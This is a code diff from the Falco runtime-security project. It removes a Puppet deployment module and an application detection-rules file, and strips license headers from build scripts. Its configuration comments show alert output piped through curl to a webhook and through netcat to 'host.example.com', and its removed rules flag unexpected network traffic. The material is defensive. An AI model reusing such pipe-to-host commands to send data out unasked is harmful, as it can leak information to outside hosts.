-              '/etc/falco/falco_rules.yaml',
-              '/etc/falco/falco_rules.local.yaml'
-          ],
-          $json_output = 'false',
-          $log_stderr = 'false',
-          $log_syslog = 'true',
-          $log_level = 'info',
-          $priority = 'debug',
-          $buffered_outputs = 'true',
-          $outputs_rate = 1,
-          $outputs_max_burst = 1000,
-          $syslog_output = {
-              'enabled' => 'true'
-          },
-          $file_output = {
-              'enabled' => 'false',
-              'keep_alive' => 'false',
-              'filename' => '/tmp/falco_events.txt'
-          },
-          $program_output = {
-              'enabled' => 'false',
-              'keep_alive' => 'false',
-              'program' => 'curl http://some-webhook.com'
-          },
-      ) {
-  include falco::install
-  include falco::config
-  include falco::service
-}

integrations/puppet-module/sysdig-falco/manifests/install.pp

@@ -1,6 +0,0 @@
-# == Class: falco::install
-class falco::install inherits falco {
-  package { 'falco':
-      ensure => installed,
-  }
-}

integrations/puppet-module/sysdig-falco/manifests/service.pp

@@ -1,11 +0,0 @@
-# == Class: falco::service
-class falco::service inherits falco {
-
-  service { 'falco':
-    ensure     => running,
-    enable     => true,
-    hasstatus  => true,
-    hasrestart => true,
-    require => Package['falco'],
-  }
-}

integrations/puppet-module/sysdig-falco/metadata.json

@@ -1,14 +0,0 @@
-{
-  "name": "sysdig-falco",
-  "version": "0.1.0",
-  "author": "sysdig",
-  "summary": "Sysdig Falco: Behavioral Activity Monitoring With Container Support",
-  "license": "Apache v2.0",
-  "source": "https://github.com/draios/falco",
-  "project_page": "https://github.com/draios/falco",
-  "issues_url": "https://github.com/draios/falco/issues",
-  "dependencies": [
-    {"name":"puppetlabs-stdlib","version_requirement":">= 1.0.0"}
-  ]
-}
-

integrations/puppet-module/sysdig-falco/spec/classes/init_spec.rb

@@ -1,7 +0,0 @@
-require 'spec_helper'
-describe 'falco' do
-
-  context 'with defaults for all parameters' do
-    it { should contain_class('falco') }
-  end
-end

integrations/puppet-module/sysdig-falco/spec/spec_helper.rb

@@ -1 +0,0 @@
-require 'puppetlabs_spec_helper/module_spec_helper'

integrations/puppet-module/sysdig-falco/templates/falco.yaml.erb

@@ -1,96 +0,0 @@
-####
-# THIS FILE MANAGED BY PUPPET. DO NOT MODIFY
-####
-
-# File(s) containing Falco rules, loaded at startup.
-#
-# falco_rules.yaml ships with the falco package and is overridden with
-# every new software version. falco_rules.local.yaml is only created
-# if it doesn't exist. If you want to customize the set of rules, add
-# your customizations to falco_rules.local.yaml.
-#
-# The files will be read in the order presented here, so make sure if
-# you have overrides they appear in later files.
-rules_file:
-<% Array(@rules_file).each do |file| -%>
- - <%= file %>
-<% end -%>
-
-# Whether to output events in json or text
-json_output: <%= @json_output %>
-
-# Send information logs to stderr and/or syslog Note these are *not* security
-# notification logs! These are just Falco lifecycle (and possibly error) logs.
-log_stderr: <%= @log_stderr %>
-log_syslog: <%= @log_syslog %>
-
-# Minimum log level to include in logs. Note: these levels are
-# separate from the priority field of rules. This refers only to the
-# log level of falco's internal logging. Can be one of "emergency",
-# "alert", "critical", "error", "warning", "notice", "info", "debug".
-log_level: <%= @log_level %>
-
-# Minimum rule priority level to load and run. All rules having a
-# priority more severe than this level will be loaded/run.  Can be one
-# of "emergency", "alert", "critical", "error", "warning", "notice",
-# "info", "debug".
-priority: <%= @priority %>
-
-# Whether or not output to any of the output channels below is
-# buffered. Defaults to true
-buffered_outputs: <%= @buffered_outputs %>
-
-# A throttling mechanism implemented as a token bucket limits the
-# rate of falco notifications. This throttling is controlled by the following configuration
-# options:
-#  - rate: the number of tokens (i.e. right to send a notification)
-#    gained per second. Defaults to 1.
-#  - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
-#
-# With these defaults, falco could send up to 1000 notifications after
-# an initial quiet period, and then up to 1 notification per second
-# afterward. It would gain the full burst back after 1000 seconds of
-# no activity.
-
-outputs:
-  rate: <%= @outputs_rate %>
-  max_burst: <%= @outputs_max_burst %>
-
-# Where security notifications should go.
-# Multiple outputs can be enabled.
-<% unless @syslog_output.nil? -%>
-syslog_output:
-  enabled: <%= @syslog_output['enabled'] %>
-<% end -%>
-
-# If keep_alive is set to true, the file will be opened once and
-# continuously written to, with each output message on its own
-# line. If keep_alive is set to false, the file will be re-opened
-# for each output message.
-<% unless @file_output.nil? -%>
-file_output:
-  enabled: <%= @file_output['enabled'] %>
-  keep_alive: <%= @file_output['keep_alive'] %>
-  filename: <%= @file_output['filename'] %>
-<% end -%>
-
-# Possible additional things you might want to do with program output:
-#   - send to a slack webhook:
-#         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
-#   - logging (alternate method than syslog):
-#         program: logger -t falco-test
-#   - send over a network connection:
-#         program: nc host.example.com 80
-
-# If keep_alive is set to true, the program will be started once and
-# continuously written to, with each output message on its own
-# line. If keep_alive is set to false, the program will be re-spawned
-# for each output message.
-
-<% unless @program_output.nil? -%>
-program_output:
-  enabled: <%= @program_output['enabled'] %>
-  keep_alive: <%= @program_output['keep_alive'] %>
-  program: <%= @program_output['program'] %>
-<% end -%>
-

integrations/puppet-module/sysdig-falco/tests/init.pp

@@ -1,12 +0,0 @@
-# The baseline for module testing used by Puppet Labs is that each manifest
-# should have a corresponding test manifest that declares that class or defined
-# type.
-#
-# Tests are then run by using puppet apply --noop (to check for compilation
-# errors and view a log of events) or by fully applying the test in a virtual
-# environment (to compare the resulting system state to the desired state).
-#
-# Learn more about module testing here:
-# http://docs.puppetlabs.com/guides/tests_smoke.html
-#
-include falco

rules/CMakeLists.txt

@@ -1,20 +1,3 @@
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 if(NOT DEFINED FALCO_ETC_DIR)
   set(FALCO_ETC_DIR "/etc/falco")
 endif()
@@ -22,7 +5,6 @@ endif()
 if(NOT DEFINED FALCO_RULES_DEST_FILENAME)
   set(FALCO_RULES_DEST_FILENAME "falco_rules.yaml")
   set(FALCO_LOCAL_RULES_DEST_FILENAME "falco_rules.local.yaml")
-  set(FALCO_APP_RULES_DEST_FILENAME "application_rules.yaml")
 endif()
 
 if(DEFINED FALCO_COMPONENT)
@@ -35,9 +17,6 @@ install(FILES falco_rules.local.yaml
         COMPONENT "${FALCO_COMPONENT}"
 	DESTINATION "${FALCO_ETC_DIR}"
 	RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
-
-# Intentionally *not* installing application_rules.yaml. Not needed
-# when falco is embedded in other projects.
 else()
 install(FILES falco_rules.yaml
 	DESTINATION "${FALCO_ETC_DIR}"
@@ -46,11 +25,5 @@ install(FILES falco_rules.yaml
 install(FILES falco_rules.local.yaml
 	DESTINATION "${FALCO_ETC_DIR}"
 	RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
-
-install(FILES application_rules.yaml
-	DESTINATION "/etc/falco/rules.available"
-	RENAME "${FALCO_APP_RULES_DEST_FILENAME}")
-
-install(DIRECTORY DESTINATION "/etc/falco/rules.d")
 endif()
 

rules/application_rules.yaml

@@ -1,187 +0,0 @@
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-################################################################
-# By default all application-related rules are disabled for
-# performance reasons. Depending on the application(s) you use,
-# uncomment the corresponding rule definitions for
-# application-specific activity monitoring.
-################################################################
-
-# Elasticsearch ports
-- macro: elasticsearch_cluster_port
-  condition: fd.sport=9300
-- macro: elasticsearch_api_port
-  condition: fd.sport=9200
-- macro: elasticsearch_port
-  condition: elasticsearch_cluster_port or elasticsearch_api_port
-
-# - rule: Elasticsearch unexpected network inbound traffic
-#   desc: inbound network traffic to elasticsearch on a port other than the standard ports
-#   condition: user.name = elasticsearch and inbound and not elasticsearch_port
-#   output: "Inbound network traffic to Elasticsearch on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# - rule: Elasticsearch unexpected network outbound traffic
-#   desc: outbound network traffic from elasticsearch on a port other than the standard ports
-#   condition: user.name = elasticsearch and outbound and not elasticsearch_cluster_port
-#   output: "Outbound network traffic from Elasticsearch on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-
-# ActiveMQ ports
-- macro: activemq_cluster_port
-  condition: fd.sport=61616
-- macro: activemq_web_port
-  condition: fd.sport=8161
-- macro: activemq_port
-  condition: activemq_web_port or activemq_cluster_port
-
-# - rule: Activemq unexpected network inbound traffic
-#   desc: inbound network traffic to activemq on a port other than the standard ports
-#   condition: user.name = activemq and inbound and not activemq_port
-#   output: "Inbound network traffic to ActiveMQ on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# - rule: Activemq unexpected network outbound traffic
-#   desc: outbound network traffic from activemq on a port other than the standard ports
-#   condition: user.name = activemq and outbound and not activemq_cluster_port
-#   output: "Outbound network traffic from ActiveMQ on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-
-# Cassandra ports
-# https://docs.datastax.com/en/cassandra/2.0/cassandra/security/secureFireWall_r.html
-- macro: cassandra_thrift_client_port
-  condition: fd.sport=9160
-- macro: cassandra_cql_port
-  condition: fd.sport=9042
-- macro: cassandra_cluster_port
-  condition: fd.sport=7000
-- macro: cassandra_ssl_cluster_port
-  condition: fd.sport=7001
-- macro: cassandra_jmx_port
-  condition: fd.sport=7199
-- macro: cassandra_port
-  condition: >
-    cassandra_thrift_client_port or
-    cassandra_cql_port or cassandra_cluster_port or
-    cassandra_ssl_cluster_port or cassandra_jmx_port
-
-# - rule: Cassandra unexpected network inbound traffic
-#   desc: inbound network traffic to cassandra on a port other than the standard ports
-#   condition: user.name = cassandra and inbound and not cassandra_port
-#   output: "Inbound network traffic to Cassandra on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# - rule: Cassandra unexpected network outbound traffic
-#   desc: outbound network traffic from cassandra on a port other than the standard ports
-#   condition: user.name = cassandra and outbound and not (cassandra_ssl_cluster_port or cassandra_cluster_port)
-#   output: "Outbound network traffic from Cassandra on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# Couchdb ports
-# https://github.com/davisp/couchdb/blob/master/etc/couchdb/local.ini
-- macro: couchdb_httpd_port
-  condition: fd.sport=5984
-- macro: couchdb_httpd_ssl_port
-  condition: fd.sport=6984
-# xxx can't tell what clustering ports are used. not writing rules for this
-# yet.
-
-# Fluentd ports
-- macro: fluentd_http_port
-  condition: fd.sport=9880
-- macro: fluentd_forward_port
-  condition: fd.sport=24224
-
-# - rule: Fluentd unexpected network inbound traffic
-#   desc: inbound network traffic to fluentd on a port other than the standard ports
-#   condition: user.name = td-agent and inbound and not (fluentd_forward_port or fluentd_http_port)
-#   output: "Inbound network traffic to Fluentd on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# - rule: Tdagent unexpected network outbound traffic
-#   desc: outbound network traffic from fluentd on a port other than the standard ports
-#   condition: user.name = td-agent and outbound and not fluentd_forward_port
-#   output: "Outbound network traffic from Fluentd on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# Gearman ports
-# http://gearman.org/protocol/
-# - rule: Gearman unexpected network outbound traffic
-#   desc: outbound network traffic from gearman on a port other than the standard ports
-#   condition: user.name = gearman and outbound and outbound and not fd.sport = 4730
-#   output: "Outbound network traffic from Gearman on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# Zookeeper
-- macro: zookeeper_port
-  condition: fd.sport = 2181
-
-# Kafka ports
-# - rule: Kafka unexpected network inbound traffic
-#   desc: inbound network traffic to kafka on a port other than the standard ports
-#   condition: user.name = kafka and inbound and fd.sport != 9092
-#   output: "Inbound network traffic to Kafka on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# Memcached ports
-# - rule: Memcached unexpected network inbound traffic
-#   desc: inbound network traffic to memcached on a port other than the standard ports
-#   condition: user.name = memcached and inbound and fd.sport != 11211
-#   output: "Inbound network traffic to Memcached on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# - rule: Memcached unexpected network outbound traffic
-#   desc: any outbound network traffic from memcached. memcached never initiates outbound connections.
-#   condition: user.name = memcached and outbound
-#   output: "Unexpected Memcached outbound connection (connection=%fd.name)"
-#   priority: WARNING
-
-
-# MongoDB ports
-- macro: mongodb_server_port
-  condition: fd.sport = 27017
-- macro: mongodb_shardserver_port
-  condition: fd.sport = 27018
-- macro: mongodb_configserver_port
-  condition: fd.sport = 27019
-- macro: mongodb_webserver_port
-  condition: fd.sport = 28017
-
-# - rule: Mongodb unexpected network inbound traffic
-#   desc: inbound network traffic to mongodb on a port other than the standard ports
-#   condition: >
-#     user.name = mongodb and inbound and not (mongodb_server_port or
-#     mongodb_shardserver_port or mongodb_configserver_port or mongodb_webserver_port)
-#   output: "Inbound network traffic to MongoDB on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# MySQL ports
-# - rule: Mysql unexpected network inbound traffic
-#   desc: inbound network traffic to mysql on a port other than the standard ports
-#   condition: user.name = mysql and inbound and fd.sport != 3306
-#   output: "Inbound network traffic to MySQL on unexpected port (connection=%fd.name)"
-#   priority: WARNING
-
-# - rule: HTTP server unexpected network inbound traffic
-#   desc: inbound network traffic to a http server program on a port other than the standard ports
-#   condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443
-#   output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)"
-#   priority: WARNING

rules/falco_rules.local.yaml

@@ -1,21 +1,3 @@
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
 ####################
 # Your custom rules!
 ####################

scripts/CMakeLists.txt

@@ -1,20 +1,3 @@
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 configure_file(debian/postinst.in debian/postinst)
 configure_file(debian/prerm.in debian/prerm)
 

scripts/build-lpeg.sh

@@ -1,21 +1,4 @@
 #!/bin/bash
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 
 set -ex
 

scripts/debian/falco

@@ -1,21 +1,4 @@
 #! /bin/sh
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 ### BEGIN INIT INFO
 # Provides:          falco
 # Required-Start:    $remote_fs $syslog

scripts/debian/postinst.in

@@ -1,21 +1,4 @@
 #!/bin/sh
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 set -e
 
 DKMS_PACKAGE_NAME="@PACKAGE_NAME@"

scripts/debian/postrm

@@ -1,21 +1,4 @@
 #!/bin/sh
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 set -e
 
 NAME=falco